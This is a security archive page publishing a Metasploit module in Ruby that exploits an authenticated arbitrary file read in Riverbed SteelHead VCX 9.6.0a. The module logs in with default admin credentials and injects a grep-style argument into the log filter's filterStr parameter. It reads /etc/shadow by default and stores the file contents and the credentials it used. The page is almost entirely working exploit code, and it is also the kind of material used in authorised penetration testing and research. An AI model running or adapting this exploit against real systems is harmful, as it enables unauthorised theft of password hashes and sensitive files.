exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Riverbed SteelHead VCX File Read

Riverbed SteelHead VCX File Read
Posted Sep 1, 2024
Authored by h00die, Gregory Draperi | Site metasploit.com

This Metasploit module exploits an authenticated arbitrary file read in the log modules filter engine. SteelHead VCX (VCX255U) version 9.6.0a was confirmed as vulnerable.

tags | exploit, arbitrary
SHA-256 | 82200956bfcf313b96ff93db76c110d1947a97a9884d89e92f426e7c7e7da5ea

Riverbed SteelHead VCX File Read

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'Riverbed SteelHead VCX File Read',
'Description' => %q{
This module exploits an authenticated arbitrary file read in the log module's filter engine.
SteelHead VCX (VCX255U) version 9.6.0a was confirmed as vulnerable.
},
'References' =>
[
['EDB', '42101']
],
'Author' =>
[
'Gregory DRAPERI <gregory.draper_at_gmail.com>', # Exploit
'h00die' # Module
],
'DisclosureDate' => 'Jun 01 2017',
'License' => MSF_LICENSE
)

register_options(
[
OptString.new('FILE', [ true, 'Remote file to view', '/etc/shadow']),
OptString.new('TARGETURI', [true, 'Vulnerable URI path', '/']),
OptString.new('USERNAME', [true, 'Username', 'admin']),
OptString.new('PASSWORD', [true, 'Password', 'password']),
])
end

def run_host(ip)
# pull our csrf
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
'method' => 'GET',
'vars_get' => {
'next' => '/'
}
}, 25)

unless res
print_error("#{full_uri} - Connection timed out")
return
end

cookie = res.get_cookies
csrf = cookie.scan(/csrftoken=(\w+);/).flatten[0]
vprint_status("CSRF Token: #{csrf}")

# authenticate
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
'method' => 'POST',
'cookie' => cookie,
'vars_post' => {
'csrfmiddlewaretoken' => csrf,
'_fields' => JSON.generate({
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'legalAccepted' => 'N/A',
'userAgent' => ''
})
}
}, 25)

unless res
print_error("#{full_uri} - Connection timed out")
return
end

if res.code == 400
print_error('Failed Authentication')
return
elsif res.code == 200
vprint_good('Authenticated Successfully')
cookie = res.get_cookies
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie)
end

# pull the file
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'modules/common/logs'),
'method' => 'GET',
'cookie' => cookie,
'vars_get' => {
'filterStr' => "msg:-e .* #{datastore['FILE']}"
}
}, 25)

unless res
print_error("#{full_uri} - Connection timed out")
return
end

if res && res.body
result = res.get_json_document
unless result.has_key?('web3.model')
print_error('Invalid JSON returned')
return
end
reconstructed_file = []
# so the format is super icky here. It makes a hash table for each row in the file. then the 'msg' field starts with
# the file name. It also, by default, includes other files, so we need to check we're on the right file.
result['web3.model']['messages']['rows'].each do |row|
if row['msg'].start_with?(datastore['FILE'])
reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip
end
end
if reconstructed_file.any?
reconstructed_file = reconstructed_file.join("\n")
vprint_good("File Contents:\n#{reconstructed_file}")
stored_path = store_loot('host.files', 'text/plain', rhost, reconstructed_file, datastore['FILE'])
print_good("Stored #{datastore['FILE']} to #{stored_path}")
else
print_error("File not found or empty file: #{datastore['FILE']}")
end
end
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close